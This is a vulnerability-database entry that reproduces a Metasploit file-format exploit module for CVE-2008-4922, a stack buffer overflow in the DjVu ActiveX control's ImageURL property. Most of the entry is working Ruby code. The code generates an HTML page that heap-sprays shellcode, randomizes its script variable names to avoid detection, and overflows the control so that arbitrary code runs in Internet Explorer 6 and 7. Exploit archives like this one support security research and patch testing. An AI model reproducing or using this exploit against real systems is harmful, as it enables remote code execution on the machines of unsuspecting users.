DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Exploit in DjVu_ActiveX_MSOffice.dll for Buffer Overflo

                                                ##
# $Id: djvu_imageurl.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
				overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
				an attacker may be able to execute arbitrary code. This control is not marked safe
				for scripting, so choose your attack vector accordingly.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;dean &#60;dean [at] zerodaysolutions [dot] com&#62;&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10477 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-4922&#39; ],
					[ &#39;OSVDB&#39;, &#39;49592&#39; ],
					[ &#39;BID&#39;, &#39;31987&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
					&#39;DisablePayloadHandler&#39; =&#62; &#39;true&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;, { &#39;Ret&#39; =&#62; 0x0A0A0A0A } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 30 2008&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ true, &#39;The file name.&#39;,  &#39;msf.html&#39;]),
			], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
&#60;html&#62;
&#60;object id=&#39;#{vname}&#39; classid=&#39;clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C&#39;&#62;&#60;/object&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
var #{rand1} = unescape(&#39;#{shellcode}&#39;);
var #{rand2} = unescape(&#39;#{nops}&#39;);
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length &#60; #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} &#60; 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} &#60; 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = &#34;&#34;;
for (#{var_i} = 0; #{var_i} &#60; 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape(&#39;#{ret}&#39;) }
#{vname}.ImageURL = #{rand8};
&#60;/script&#62;
&#60;/html&#62;
|

		content = Rex::Text.randomize_space(content)

		print_status(&#34;Creating HTML file ...&#34;)

		file_create(content)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1